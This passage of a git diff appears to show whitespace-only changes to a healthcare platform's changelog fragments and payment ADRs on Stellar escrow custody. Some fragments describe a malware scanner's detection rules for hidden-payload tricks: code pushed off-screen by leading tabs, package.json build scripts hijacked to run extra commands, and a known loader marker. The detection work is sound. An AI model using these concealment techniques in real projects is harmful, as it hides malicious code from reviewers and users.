#80. diff --git a/changelog.d/8-referral-expiry-job.md b/changelog.d/8-referral-expiry-job.md index f293917b..fc966bcd 100644 --- a/changelog.d/8-referral-expiry-job.md +++ b/changelog.d/8-referral-expiry-job.md @@ -1,23 +1,23 @@ -Phase 3: referral expiry job -([issue #8](https://github.com/DocForum/docforum-core/issues/8)). One interval -sweep (`src/jobs/referral-expiry.ts`, started from `server.ts` like the other -jobs β€” no queue) moves `pending` referrals untouched for -`REFERRAL_PENDING_TTL_DAYS` (default 14; sweep every -`REFERRAL_EXPIRY_SWEEP_INTERVAL_SECONDS`, default 3600) to the terminal -`expired` state through one conditional UPDATE in the referrals module, so it -is safe across processes and re-runs, and a concurrent patient accept/decline -either wins or finds the referral expired β€” never both. The age clock is -`updatedAt`, so a referral the cascade (#67) or an admin (#68) returned to -`pending` gets a fresh window. `accepted` referrals are never swept. - -Schema: new `Referral.expiredAt` and `Referral.expiredReason` -(`ttl` | `no_show`), migration `20261022090000_referral_expiry`, which also -backfills existing `expired` rows as `no_show` (the only way to expire until -now) and adds a `(status, updatedAt)` index. `expired` stays distinct from -`declined` and `cancelled`; `expiredReason` tells the two ways into `expired` -apart, and the no-show cascade now records `no_show`. The TTL sweep also sets -`referringDoctorNotifiedAt`, the existing seam Phase 6 reads. - -Not built: flagging the *patient* β€” there is no notification layer until -Phase 6. When it lands, it can select `status = 'expired' AND expiredReason = -'ttl'`; no marker for "patient notified" exists yet. +Phase 3: referral expiry job +([issue #8](https://github.com/DocForum/docforum-core/issues/8)). One interval +sweep (`src/jobs/referral-expiry.ts`, started from `server.ts` like the other +jobs β€” no queue) moves `pending` referrals untouched for +`REFERRAL_PENDING_TTL_DAYS` (default 14; sweep every +`REFERRAL_EXPIRY_SWEEP_INTERVAL_SECONDS`, default 3600) to the terminal +`expired` state through one conditional UPDATE in the referrals module, so it +is safe across processes and re-runs, and a concurrent patient accept/decline +either wins or finds the referral expired β€” never both. The age clock is +`updatedAt`, so a referral the cascade (#67) or an admin (#68) returned to +`pending` gets a fresh window. `accepted` referrals are never swept. + +Schema: new `Referral.expiredAt` and `Referral.expiredReason` +(`ttl` | `no_show`), migration `20261022090000_referral_expiry`, which also +backfills existing `expired` rows as `no_show` (the only way to expire until +now) and adds a `(status, updatedAt)` index. `expired` stays distinct from +`declined` and `cancelled`; `expiredReason` tells the two ways into `expired` +apart, and the no-show cascade now records `no_show`. The TTL sweep also sets +`referringDoctorNotifiedAt`, the existing seam Phase 6 reads. + +Not built: flagging the *patient* β€” there is no notification layer until +Phase 6. When it lands, it can select `status = 'expired' AND expiredReason = +'ttl'`; no marker for "patient notified" exists yet. diff --git a/changelog.d/97-notification-sse-stream.md b/changelog.d/97-notification-sse-stream.md index 3d24198f..c0e44884 100644 --- a/changelog.d/97-notification-sse-stream.md +++ b/changelog.d/97-notification-sse-stream.md @@ -1,8 +1,8 @@ -Phase 6: real-time notification stream over Server-Sent Events -([issue #97](https://github.com/DocForum/docforum-core/issues/97), partial). -`GET /notifications/stream` (authenticated) sends a `retry` hint, a heartbeat -every 15 seconds, and a `token-expired` event before the access token expires, -then closes. Each user is capped at five open streams (429 beyond that). An -in-process hub fans out events to the user's streams. Persisted replay via -`Last-Event-ID` and cross-instance delivery through Postgres LISTEN/NOTIFY are -not included. They need the `Notification.userId` schema field. +Phase 6: real-time notification stream over Server-Sent Events +([issue #97](https://github.com/DocForum/docforum-core/issues/97), partial). +`GET /notifications/stream` (authenticated) sends a `retry` hint, a heartbeat +every 15 seconds, and a `token-expired` event before the access token expires, +then closes. Each user is capped at five open streams (429 beyond that). An +in-process hub fans out events to the user's streams. Persisted replay via +`Last-Event-ID` and cross-instance delivery through Postgres LISTEN/NOTIFY are +not included. They need the `Notification.userId` schema field. diff --git a/changelog.d/README.md b/changelog.d/README.md index b413f2ec..112c2f62 100644 --- a/changelog.d/README.md +++ b/changelog.d/README.md @@ -1,47 +1,47 @@ -# changelog.d - -One new file per PR for the `ROADMAP.md` changelog. - -When every PR appended its entry to the end of `ROADMAP.md`, any two open PRs -edited the same lines, so each merge put most of the other PRs into conflict. -A new file per PR never collides with anyone else's. - -## Adding your entry - -1. Create `changelog.d/-.md`, for example - `changelog.d/107-backup-restore-drill.md`. -2. Write the entry as plain Markdown: what changed, which issue or roadmap - item it closes, and anything the next contributor should know. A short - paragraph is usually enough. Don't add a date or a leading `- `: both are - added when the entry is folded in. -3. Commit it in the same PR as your change. - -For example: - -```markdown -Phase 9: automated Postgres backups with a tested restore drill -([issue #107](https://github.com/DocForum/docforum-core/issues/107)). -`scripts/backup-postgres.sh` takes a gpg-encrypted `pg_dump`; -`scripts/restore-drill.sh` restores it into a `_drill` database and runs -integrity checks. No schema or endpoint changes. -``` - -## What not to edit in `ROADMAP.md` - -- The `## Changelog` section. Put your entry here instead. -- The status summary at the top of the file and each phase's `**Status:**` - line. Maintainers update those when they fold entries in. - -Do tick your own item's checkbox (`- [ ]` β†’ `- [x]`) and edit your own item's -line. That line is yours, so it doesn't conflict with other PRs. - -## Folding entries in (maintainers) - -```bash -node scripts/fold-changelog.mjs --dry-run # preview -node scripts/fold-changelog.mjs # append to ROADMAP.md and delete the fragments -``` - -Each entry is dated by the day its fragment was merged (from git history) and -appended to the end of the `## Changelog` section. Commit the result in its -own PR. +# changelog.d + +One new file per PR for the `ROADMAP.md` changelog. + +When every PR appended its entry to the end of `ROADMAP.md`, any two open PRs +edited the same lines, so each merge put most of the other PRs into conflict. +A new file per PR never collides with anyone else's. + +## Adding your entry + +1. Create `changelog.d/-.md`, for example + `changelog.d/107-backup-restore-drill.md`. +2. Write the entry as plain Markdown: what changed, which issue or roadmap + item it closes, and anything the next contributor should know. A short + paragraph is usually enough. Don't add a date or a leading `- `: both are + added when the entry is folded in. +3. Commit it in the same PR as your change. + +For example: + +```markdown +Phase 9: automated Postgres backups with a tested restore drill +([issue #107](https://github.com/DocForum/docforum-core/issues/107)). +`scripts/backup-postgres.sh` takes a gpg-encrypted `pg_dump`; +`scripts/restore-drill.sh` restores it into a `_drill` database and runs +integrity checks. No schema or endpoint changes. +``` + +## What not to edit in `ROADMAP.md` + +- The `## Changelog` section. Put your entry here instead. +- The status summary at the top of the file and each phase's `**Status:**` + line. Maintainers update those when they fold entries in. + +Do tick your own item's checkbox (`- [ ]` β†’ `- [x]`) and edit your own item's +line. That line is yours, so it doesn't conflict with other PRs. + +## Folding entries in (maintainers) + +```bash +node scripts/fold-changelog.mjs --dry-run # preview +node scripts/fold-changelog.mjs # append to ROADMAP.md and delete the fragments +``` + +Each entry is dated by the day its fragment was merged (from git history) and +appended to the end of the `## Changelog` section. Commit the result in its +own PR. diff --git a/changelog.d/conflict-free-contributing.md b/changelog.d/conflict-free-contributing.md index 6f551429..3bc55211 100644 --- a/changelog.d/conflict-free-contributing.md +++ b/changelog.d/conflict-free-contributing.md @@ -1,8 +1,8 @@ -Contributing: changelog entries now go in `changelog.d/` (one new file per -PR) instead of being appended to this section, which used to put most open -PRs into merge conflict on every merge. Maintainers fold them in with -`node scripts/fold-changelog.mjs`. Also dropped the "Last updated" line, -made the `docs/api/README.md` intro phase-agnostic, and documented the -"edit only your own lines" rule in `AGENTS.md`, `CLAUDE.md` and -`CONTRIBUTING.md`. The conflict notifier now points authors at -`changelog.d/`. +Contributing: changelog entries now go in `changelog.d/` (one new file per +PR) instead of being appended to this section, which used to put most open +PRs into merge conflict on every merge. Maintainers fold them in with +`node scripts/fold-changelog.mjs`. Also dropped the "Last updated" line, +made the `docs/api/README.md` intro phase-agnostic, and documented the +"edit only your own lines" rule in `AGENTS.md`, `CLAUDE.md` and +`CONTRIBUTING.md`. The conflict notifier now points authors at +`changelog.d/`. diff --git a/changelog.d/follow-redirects-advisory.md b/changelog.d/follow-redirects-advisory.md index e5c2eb86..057bb0d0 100644 --- a/changelog.d/follow-redirects-advisory.md +++ b/changelog.d/follow-redirects-advisory.md @@ -1,5 +1,5 @@ -Bumped `follow-redirects` 1.16.0 β†’ 1.16.1 in `backend/package-lock.json` -(lockfile only; it comes in through `axios`, which allows `^1.15.x`). This -fixes GHSA-8r9p-f939-6h3c (high: credential headers can leak on redirect), -published 2026-10-20, which made the `audit:prod` CI gate fail on every PR. -No code changes. +Bumped `follow-redirects` 1.16.0 β†’ 1.16.1 in `backend/package-lock.json` +(lockfile only; it comes in through `axios`, which allows `^1.15.x`). This +fixes GHSA-8r9p-f939-6h3c (high: credential headers can leak on redirect), +published 2026-10-20, which made the `audit:prod` CI gate fail on every PR. +No code changes. diff --git a/changelog.d/platform-signer-sep43.md b/changelog.d/platform-signer-sep43.md index c2ee3d52..accfb0b2 100644 --- a/changelog.d/platform-signer-sep43.md +++ b/changelog.d/platform-signer-sep43.md @@ -1 +1 @@ -Fixed env-mode platform signing (`PLATFORM_SIGNER_MODE=env`), which couldn't sign any payment transaction after the signer abstraction (#175). `EnvPlatformSigner` wrapped a bare `Keypair`, which has no `signTransaction`, and both signer adapters returned a string where stellar-sdk reads `{ signedTxXdr }`. Env signers are now built with stellar-sdk's `basicNodeSigner`, and `PlatformSigner` returns the SEP-43 shapes (the remote adapter included). New unit tests sign a real transaction and auth entry with a real keypair. Found by the first nightly testnet payments run. +Fixed env-mode platform signing (`PLATFORM_SIGNER_MODE=env`), which couldn't sign any payment transaction after the signer abstraction (#175). `EnvPlatformSigner` wrapped a bare `Keypair`, which has no `signTransaction`, and both signer adapters returned a string where stellar-sdk reads `{ signedTxXdr }`. Env signers are now built with stellar-sdk's `basicNodeSigner`, and `PlatformSigner` returns the SEP-43 shapes (the remote adapter included). New unit tests sign a real transaction and auth entry with a real keypair. Found by the first nightly testnet payments run. diff --git a/changelog.d/scanner-component-extensions.md b/changelog.d/scanner-component-extensions.md index d7d72c84..7701119c 100644 --- a/changelog.d/scanner-component-extensions.md +++ b/changelog.d/scanner-component-extensions.md @@ -1,5 +1,5 @@ -Malware scan: `.vue`, `.svelte`, `.astro`, `.less`, `.sass`, `.go`, -`go.mod` and `go.sum` files are now scanned as code. Before this, a Vue -single-file component was flagged HIGH as "disguised code" (JavaScript -inside a file with a non-code extension), which wrongly blocked -docforum-core #207. The same line rules still apply to these files. +Malware scan: `.vue`, `.svelte`, `.astro`, `.less`, `.sass`, `.go`, +`go.mod` and `go.sum` files are now scanned as code. Before this, a Vue +single-file component was flagged HIGH as "disguised code" (JavaScript +inside a file with a non-code extension), which wrongly blocked +docforum-core #207. The same line rules still apply to these files. diff --git a/changelog.d/scanner-hidden-payload-gaps.md b/changelog.d/scanner-hidden-payload-gaps.md index 68037ac6..1af5c4f5 100644 --- a/changelog.d/scanner-hidden-payload-gaps.md +++ b/changelog.d/scanner-hidden-payload-gaps.md @@ -1,8 +1,8 @@ -Malware scan: closed three gaps found in the malicious docforum-web #137, -which only had three of its nine problems flagged. Code pushed off-screen by -leading whitespace is now flagged (`api.js` hid its payload behind 315 tabs). -A `package.json` script such as `dev` or `build` that now also runs -`node ` (or bun, deno, sh, bash, python) alongside its original command -is flagged as `script-hijack`. The `global['!'] = …` marker of the loader used -in escrow #163 and web #137 is flagged as `known-payload`. The whole-line -heuristics no longer stop the per-line rules from running on the same file. +Malware scan: closed three gaps found in the malicious docforum-web #137, +which only had three of its nine problems flagged. Code pushed off-screen by +leading whitespace is now flagged (`api.js` hid its payload behind 315 tabs). +A `package.json` script such as `dev` or `build` that now also runs +`node ` (or bun, deno, sh, bash, python) alongside its original command +is flagged as `script-hijack`. The `global['!'] = …` marker of the loader used +in escrow #163 and web #137 is flagged as `known-payload`. The whole-line +heuristics no longer stop the per-line rules from running on the same file. diff --git a/changelog.d/scanner-tla-extension.md b/changelog.d/scanner-tla-extension.md index 1ebf8fd0..8ea9776c 100644 --- a/changelog.d/scanner-tla-extension.md +++ b/changelog.d/scanner-tla-extension.md @@ -1,4 +1,4 @@ -Malware scan: TLA+ specifications (`.tla`) are now scanned as text, like -other source files. Before this, a TLA+ spec was flagged HIGH as "disguised -code", which wrongly blocked docforum-escrow #225. Every line rule still -applies to `.tla` files. +Malware scan: TLA+ specifications (`.tla`) are now scanned as text, like +other source files. Before this, a TLA+ spec was flagged HIGH as "disguised +code", which wrongly blocked docforum-escrow #225. Every line rule still +applies to `.tla` files. diff --git a/docs/adr/0004-custodial-payments-v1.md b/docs/adr/0004-custodial-payments-v1.md index 7e07cf6e..6cd68fe9 100644 --- a/docs/adr/0004-custodial-payments-v1.md +++ b/docs/adr/0004-custodial-payments-v1.md @@ -1,129 +1,129 @@ -# ADR 0004: Payments v1 is custodial β€” docforum-core holds the Stellar identities, patients never sign anything - -Status: Accepted - -## Context - -Phase 5.5 needs to actually call `@docforum/escrow-sdk`'s `createEscrow`/ -`release`/`refund`. Each of those requires a real Ed25519 `Keypair` to -sign β€” Soroban's `require_auth()` is enforced on-chain, not something a -backend can fake. - -Two fundamentally different architectures were possible: - -1. **Non-custodial**: the patient's own wallet (a browser extension like - Freighter) signs the `create_escrow` call directly, since the patient - is the contract's `payer`. `docforum-core` never touches the patient's - private key. -2. **Custodial**: `docforum-core` holds its own Stellar identity and acts - as the on-chain `payer` itself. The patient never has a wallet or - signs anything; funding a payment is a backend-only action. - -Option 1 is the more "real crypto" design, but it directly conflicts with -`docforum-web`'s `ARCHITECTURE_ESSENTIALS.md` hard rule 1: **no direct -Stellar calls from the frontend, ever β€” everything goes through -`docforum-core`'s API.** A patient's wallet signing a transaction in the -browser is, unavoidably, a direct Stellar call from the frontend (the -signed transaction has to reach the network from somewhere, and -`docforum-core`'s API relaying an already-signed transaction on the -patient's behalf doesn't remove the frontend's need to construct and sign -it in the first place). - -## Decision - -**Custodial v1** (option 2). `docforum-core` holds two of its own Stellar -identities, configured via environment secrets, never logged, never -returned by any endpoint: - -- `PLATFORM_PAYER_SECRET` β€” the identity that funds escrows (`payer` in - `create_escrow`). -- `PLATFORM_RELEASER_SECRET` β€” the identity set as every escrow's - `releaser` (per `docforum-escrow`'s ADR 0002), used to call - `release`/`refund`. - -`WalletLink` (see `schema.prisma`) is scoped to the **facility**, not the -patient β€” it's where a facility receives payout (the contract's `payee`), -not an identity that signs anything. A patient's actual payment -collection (fiat, or however DocForum funds its platform payer identity) -is explicitly out of scope here β€” same category as `docforum-escrow`'s -own README noting fiat on/off-ramp and KYC are `docforum-core`'s concern, -not modeled or assumed by this ADR either. - -## Why - -- **The only design consistent with the existing frontend hard rule.** - `docforum-web`'s "no direct Stellar calls" rule already existed before - this ADR β€” a non-custodial design would have required either violating - that rule or writing around it with awkward transaction-relay - machinery that still amounts to the same thing. Custodial sidesteps - the conflict entirely: every Stellar call genuinely originates from - `docforum-core`. -- **Matches `docforum-escrow`'s own releaser design.** ADR 0002 there - already assumes the releaser is "the calling application's own service - identity" β€” this ADR is the other half of that: the payer is too. -- **Honest about what's not solved.** This does not solve fiat - collection, custody risk, or regulatory questions a real custodial - payment flow would need β€” it's a v1 that makes the Stellar integration - itself real and demonstrable without pretending those harder questions - are answered. If DocForum ever needs genuine non-custodial patient - wallets, that's a v2 architectural change, not an extension of this one. - -## Order linkage (resolved by issue #85) - -`PaymentIntent` has nullable `prescriptionId` and `labOrderId` foreign keys; -a PostgreSQL check constraint requires exactly one. Each order snapshots its -patient, issuing doctor, selected pharmacy/lab, and total amount. V1 has no -facility catalog or price service, so the issuing clinician supplies the total -in native XLM stroops at issuance. This is an explicit manual pricing source, -not a currency conversion or estimate. - -Issuing a correction creates a new order row. An unpaid (`created`) intent is -moved to the new row in the same transaction. An escrowed intent remains with -the original row and uses the existing admin-triggered refund action; this -preserves the current custodial v1 refund policy. The migration removes only -orphaned preview intents in `created` state and aborts if any funded or -terminal intent has no matching order. -## Consequences - -- The platform payer identity needs real funding to do anything (testnet - XLM via Friendbot for now β€” see `docs/testnet-deployments.md` in - `docforum-escrow` for the pattern). Running out of testnet funds is an - operational concern, not a code bug; no auto-funding is built here. -- `release`/`refund` are callable by anyone who can call this module's - service functions with the platform releaser identity β€” there's no - actual `FulfillmentRecord.status == fulfilled` trigger yet (that model - doesn't exist), so v1 exposes `release`/`refund` as directly-callable - actions (see the "Known gap" above), restricted at the HTTP layer to - `admin` role rather than any automatic trigger. Do not read this as the - final design for how release gets triggered in production β€” it's what - the roadmap already flagged: "don't let it drift into a manual/admin- - triggered release" is the target once Phase 4/5 exist; v1's admin-only - gate is the honest interim, not the destination. - -## Update β€” 2026-10-19 (issues #79 and #80) - -`PaymentIntent` is no longer native-XLM-only: issue #79 added an -allowlisted `assetCode` + `tokenContractId` per intent and renamed -`amountStroops` to the token-agnostic `amount` (a plain column rename, so -existing values are preserved). The custodial funding path described here -is unchanged β€” the platform payer still funds the escrow β€” but the token it -pulls from is now the intent's asset, defaulting to the legacy -`ESCROW_TOKEN_ID` for pre-#79 rows. ADR 0005's non-custodial path is being -added alongside this one (issue #80 added prepare; submit is still pending), -and release/refund remain admin-triggered exactly as described above. - - -## Event monitoring and releaser-key alerts (issue #86) - -The backend polls Soroban RPC getEvents independently for each configured contract deployment, persisting each page and its cursor together. Events are deduplicated by contract and RPC event id, then matched against the local PaymentIntent state. Unmatched release/refund events raise high-severity structured logs, can be forwarded to ESCROW_EVENT_ALERT_WEBHOOK_URL, and are visible through the admin endpoint. If the RPC retention window has advanced beyond a saved cursor, the poller records an explicit catch-up error and does not silently skip the gap. This detects unexpected terminal contract events; it does not itself protect the releaser key. -## Signing provider seam (issue #87) - -Payment operations use the `PlatformSigner` interface (`publicKey`, async transaction signing, and optional Soroban auth-entry signing) rather than constructing keypairs in the payments service. The env adapter preserves the current `PLATFORM_PAYER_SECRET` / `PLATFORM_RELEASER_SECRET` behavior. A reference HTTP adapter supports a signer service with role-scoped `GET /signers/{role}/public-key`, `POST /signers/{role}/sign-transaction`, and `POST /signers/{role}/sign-auth-entry` endpoints. Requests carry the network passphrase; the remote public key must match the configured expected address. Errors are sanitized before leaving the adapter. - -The HTTP adapter is a seam, not a managed KMS deployment. It requires HTTPS, a bearer token, and operator-provided signer service; production deployment choice and custody policy remain with issue #25. The issue #25 custody ADR should choose an adapter configuration here without changing the payment services interface. The implementation follows the signer surface proposed by `docforum-escrow` issue #60. The current published SDK remains compatible through its signer-shaped Keypair boundary; when SDK #60 is released, the local bridge can be removed without changing payment services. Signing is completed before the database transition transaction begins. - -## Network and contract safeguards (issue #88) - -Payments network settings are parsed at process startup from ESCROW_NETWORK_PASSPHRASE and ESCROW_RPC_URL. Mainnet is refused unless ALLOW_MAINNET=true is explicitly set after the security review. When an active ESCROW_CONTRACT_ID is configured outside tests, ESCROW_HEALTHCHECK_ID is required and the backend calls getStatus before opening its HTTP listener; a failed check prevents startup. Tests skip this network call. - -ESCROW_LEGACY_CONTRACT_IDS is a comma-separated registry retained for existing intents. Funding records the active contract id on the intent; release and refund use only that recorded id and reject intents with an absent or unregistered id. ESCROW_ASSET_ALLOWLIST is a comma-separated token registry; when set, funding rejects a configured escrow token outside the list. ESCROW_TOKEN_ID remains the active funding token. +# ADR 0004: Payments v1 is custodial β€” docforum-core holds the Stellar identities, patients never sign anything + +Status: Accepted + +## Context + +Phase 5.5 needs to actually call `@docforum/escrow-sdk`'s `createEscrow`/ +`release`/`refund`. Each of those requires a real Ed25519 `Keypair` to +sign β€” Soroban's `require_auth()` is enforced on-chain, not something a +backend can fake. + +Two fundamentally different architectures were possible: + +1. **Non-custodial**: the patient's own wallet (a browser extension like + Freighter) signs the `create_escrow` call directly, since the patient + is the contract's `payer`. `docforum-core` never touches the patient's + private key. +2. **Custodial**: `docforum-core` holds its own Stellar identity and acts + as the on-chain `payer` itself. The patient never has a wallet or + signs anything; funding a payment is a backend-only action. + +Option 1 is the more "real crypto" design, but it directly conflicts with +`docforum-web`'s `ARCHITECTURE_ESSENTIALS.md` hard rule 1: **no direct +Stellar calls from the frontend, ever β€” everything goes through +`docforum-core`'s API.** A patient's wallet signing a transaction in the +browser is, unavoidably, a direct Stellar call from the frontend (the +signed transaction has to reach the network from somewhere, and +`docforum-core`'s API relaying an already-signed transaction on the +patient's behalf doesn't remove the frontend's need to construct and sign +it in the first place). + +## Decision + +**Custodial v1** (option 2). `docforum-core` holds two of its own Stellar +identities, configured via environment secrets, never logged, never +returned by any endpoint: + +- `PLATFORM_PAYER_SECRET` β€” the identity that funds escrows (`payer` in + `create_escrow`). +- `PLATFORM_RELEASER_SECRET` β€” the identity set as every escrow's + `releaser` (per `docforum-escrow`'s ADR 0002), used to call + `release`/`refund`. + +`WalletLink` (see `schema.prisma`) is scoped to the **facility**, not the +patient β€” it's where a facility receives payout (the contract's `payee`), +not an identity that signs anything. A patient's actual payment +collection (fiat, or however DocForum funds its platform payer identity) +is explicitly out of scope here β€” same category as `docforum-escrow`'s +own README noting fiat on/off-ramp and KYC are `docforum-core`'s concern, +not modeled or assumed by this ADR either. + +## Why + +- **The only design consistent with the existing frontend hard rule.** + `docforum-web`'s "no direct Stellar calls" rule already existed before + this ADR β€” a non-custodial design would have required either violating + that rule or writing around it with awkward transaction-relay + machinery that still amounts to the same thing. Custodial sidesteps + the conflict entirely: every Stellar call genuinely originates from + `docforum-core`. +- **Matches `docforum-escrow`'s own releaser design.** ADR 0002 there + already assumes the releaser is "the calling application's own service + identity" β€” this ADR is the other half of that: the payer is too. +- **Honest about what's not solved.** This does not solve fiat + collection, custody risk, or regulatory questions a real custodial + payment flow would need β€” it's a v1 that makes the Stellar integration + itself real and demonstrable without pretending those harder questions + are answered. If DocForum ever needs genuine non-custodial patient + wallets, that's a v2 architectural change, not an extension of this one. + +## Order linkage (resolved by issue #85) + +`PaymentIntent` has nullable `prescriptionId` and `labOrderId` foreign keys; +a PostgreSQL check constraint requires exactly one. Each order snapshots its +patient, issuing doctor, selected pharmacy/lab, and total amount. V1 has no +facility catalog or price service, so the issuing clinician supplies the total +in native XLM stroops at issuance. This is an explicit manual pricing source, +not a currency conversion or estimate. + +Issuing a correction creates a new order row. An unpaid (`created`) intent is +moved to the new row in the same transaction. An escrowed intent remains with +the original row and uses the existing admin-triggered refund action; this +preserves the current custodial v1 refund policy. The migration removes only +orphaned preview intents in `created` state and aborts if any funded or +terminal intent has no matching order. +## Consequences + +- The platform payer identity needs real funding to do anything (testnet + XLM via Friendbot for now β€” see `docs/testnet-deployments.md` in + `docforum-escrow` for the pattern). Running out of testnet funds is an + operational concern, not a code bug; no auto-funding is built here. +- `release`/`refund` are callable by anyone who can call this module's + service functions with the platform releaser identity β€” there's no + actual `FulfillmentRecord.status == fulfilled` trigger yet (that model + doesn't exist), so v1 exposes `release`/`refund` as directly-callable + actions (see the "Known gap" above), restricted at the HTTP layer to + `admin` role rather than any automatic trigger. Do not read this as the + final design for how release gets triggered in production β€” it's what + the roadmap already flagged: "don't let it drift into a manual/admin- + triggered release" is the target once Phase 4/5 exist; v1's admin-only + gate is the honest interim, not the destination. + +## Update β€” 2026-10-19 (issues #79 and #80) + +`PaymentIntent` is no longer native-XLM-only: issue #79 added an +allowlisted `assetCode` + `tokenContractId` per intent and renamed +`amountStroops` to the token-agnostic `amount` (a plain column rename, so +existing values are preserved). The custodial funding path described here +is unchanged β€” the platform payer still funds the escrow β€” but the token it +pulls from is now the intent's asset, defaulting to the legacy +`ESCROW_TOKEN_ID` for pre-#79 rows. ADR 0005's non-custodial path is being +added alongside this one (issue #80 added prepare; submit is still pending), +and release/refund remain admin-triggered exactly as described above. + + +## Event monitoring and releaser-key alerts (issue #86) + +The backend polls Soroban RPC getEvents independently for each configured contract deployment, persisting each page and its cursor together. Events are deduplicated by contract and RPC event id, then matched against the local PaymentIntent state. Unmatched release/refund events raise high-severity structured logs, can be forwarded to ESCROW_EVENT_ALERT_WEBHOOK_URL, and are visible through the admin endpoint. If the RPC retention window has advanced beyond a saved cursor, the poller records an explicit catch-up error and does not silently skip the gap. This detects unexpected terminal contract events; it does not itself protect the releaser key. +## Signing provider seam (issue #87) + +Payment operations use the `PlatformSigner` interface (`publicKey`, async transaction signing, and optional Soroban auth-entry signing) rather than constructing keypairs in the payments service. The env adapter preserves the current `PLATFORM_PAYER_SECRET` / `PLATFORM_RELEASER_SECRET` behavior. A reference HTTP adapter supports a signer service with role-scoped `GET /signers/{role}/public-key`, `POST /signers/{role}/sign-transaction`, and `POST /signers/{role}/sign-auth-entry` endpoints. Requests carry the network passphrase; the remote public key must match the configured expected address. Errors are sanitized before leaving the adapter. + +The HTTP adapter is a seam, not a managed KMS deployment. It requires HTTPS, a bearer token, and operator-provided signer service; production deployment choice and custody policy remain with issue #25. The issue #25 custody ADR should choose an adapter configuration here without changing the payment services interface. The implementation follows the signer surface proposed by `docforum-escrow` issue #60. The current published SDK remains compatible through its signer-shaped Keypair boundary; when SDK #60 is released, the local bridge can be removed without changing payment services. Signing is completed before the database transition transaction begins. + +## Network and contract safeguards (issue #88) + +Payments network settings are parsed at process startup from ESCROW_NETWORK_PASSPHRASE and ESCROW_RPC_URL. Mainnet is refused unless ALLOW_MAINNET=true is explicitly set after the security review. When an active ESCROW_CONTRACT_ID is configured outside tests, ESCROW_HEALTHCHECK_ID is required and the backend calls getStatus before opening its HTTP listener; a failed check prevents startup. Tests skip this network call. + +ESCROW_LEGACY_CONTRACT_IDS is a comma-separated registry retained for existing intents. Funding records the active contract id on the intent; release and refund use only that recorded id and reject intents with an absent or unregistered id. ESCROW_ASSET_ALLOWLIST is a comma-separated token registry; when set, funding rejects a configured escrow token outside the list. ESCROW_TOKEN_ID remains the active funding token. diff --git a/docs/adr/0005-non-custodial-patient-payments.md b/docs/adr/0005-non-custodial-patient-payments.md index 28381274..6ce72386 100644 --- a/docs/adr/0005-non-custodial-patient-payments.md +++ b/docs/adr/0005-non-custodial-patient-payments.md @@ -1,238 +1,238 @@ -# ADR 0005: Non-custodial payments v2 β€” patients fund escrows from their own Stellar wallet - -Status: Accepted (2026-10-19; implementation started β€” steps 5 and the -prepare half of 6 have landed, see Implementation notes) -Date: 2026-10-08 - -Builds on ADR 0004 (custodial v1), which stays in place as a fallback. -Depends on `docforum-escrow` ADR 0004 (`refund_after` timeout refund, -SDK 0.3.0). - -## Context - -ADR 0004 made payments custodial: `docforum-core` funds every escrow -from its own `PLATFORM_PAYER_SECRET`, and the patient never touches -Stellar. That made the integration real and testable, but the escrow -protects nobody in particular. The platform is both payer and releaser, -so the escrow amounts to the platform holding money for itself. - -ADR 0004 considered patient wallets and rejected them for one reason: -`docforum-web`'s hard rule 1 ("never calls `docforum-escrow` or Stellar -directly"). It assumed a patient-signed transaction meant the frontend -had to *construct* the transaction and send it to the network itself. - -That assumption doesn't hold. The usual Soroban dApp pattern separates -three steps that live in different places: - -1. **Build and simulate** the transaction. This needs an RPC connection, - the contract client and the auth entries. It can happen entirely in - `docforum-core`. -2. **Sign** it. This needs the patient's key, which lives in their - wallet extension (Freighter, xBull, etc.). The browser hands an - opaque XDR string to the wallet and gets a signed XDR string back. - No network call is involved. -3. **Submit** it and track the result. This needs an RPC connection - again, so it can also happen in `docforum-core`. - -Only step 2 has to happen in the browser, and it isn't a Stellar network -call. So a non-custodial design is possible without `docforum-web` ever -talking to Stellar RPC, Horizon or the escrow contract. - -Two other things changed since ADR 0004: - -- `docforum-escrow` now has an optional `refund_after` deadline (its - ADR 0004). With a patient as `payer`, that becomes a real patient - protection: if an order is never fulfilled and nobody acts, the patient - can get their money back without needing DocForum's cooperation. -- The escrow threat model (T1, T2) and `docforum-core` issue #25 already - question holding a single platform releaser key in an env var. Taking - the platform out of the *payer* role removes half of that key-custody - risk. - -## Decision - -Add a **patient-wallet funding mode** alongside the custodial one. A -`PaymentIntent` is funded by exactly one of the two modes. Custodial -stays available for patients without a wallet. - -### Roles on the escrow - -| Contract role | Custodial (ADR 0004) | Patient wallet (this ADR) | -|---|---|---| -| `payer` | platform payer identity | **patient's own wallet** | -| `payee` | facility's linked wallet | facility's linked wallet (unchanged) | -| `releaser` | platform releaser identity | platform releaser identity (unchanged; custody decided in #25) | -| `refund_after` | not set | **set**: order expiry plus a grace period | - -The releaser must stay the platform, never the patient. If the payer -were also the releaser, they could refund themselves after receiving -the service (escrow threat model T8). - -### Flow - -1. **Link a wallet (once).** The patient proves they control a Stellar - address by signing a challenge, using the SEP-10 Stellar Web - Authentication standard, with `docforum-core` as the server. The - verified address is stored in a patient-scoped wallet link. - Facilities link payout wallets the same way. That replaces today's - type-the-address form, so a facility can no longer register an - address it doesn't control or mistype one (see #26). -2. **Prepare.** `POST /payments/intents/:id/prepare` (patient-only, own - intent). `docforum-core` builds the `create_escrow` call with the - patient as `payer`, simulates it, assembles the auth entries, and - returns the unsigned transaction XDR. It stores the transaction's - hash and moves the intent to `awaiting_signature`. -3. **Sign.** `docforum-web` passes the XDR to the patient's wallet - through a wallet-connection library (Stellar Wallets Kit, which - covers Freighter, xBull, Albedo, Lobstr and others) and gets the - signed XDR back. -4. **Submit.** `POST /payments/intents/:id/submit` with the signed XDR. - `docforum-core` checks that it is exactly the transaction it prepared - (same hash, signed by the linked patient address, not expired). It - then wraps it in a **fee-bump transaction paid by the platform**, so - the patient only needs the payment asset, not XLM for fees. It - submits, waits for the result, and records `escrowId` and - `stellarTxHash` as `escrowed`. -5. **Release / refund.** Unchanged from ADR 0004: the platform releaser - acts, admin-triggered until Phase 5's `FulfillmentRecord` exists. In - addition, once `refund_after` passes, the patient can get their funds - back even if the platform doesn't act. - -### Payment asset - -v2 pays in **USDC** through its Stellar Asset Contract, so prices stay -stable for medical bills. Native XLM stays supported for testnet -development. `PaymentIntent` gains a token contract id and stores the -amount in that token's smallest unit. The current `amountStroops` field -is renamed, with a migration. *(Implemented by issue #79 β€” see -Implementation notes below.)* - -### Rule change in `docforum-web` - -Hard rule 1 is amended, not dropped: - -> This repo never calls Stellar RPC, Horizon, `docforum-escrow` or any -> contract directly. **The one exception 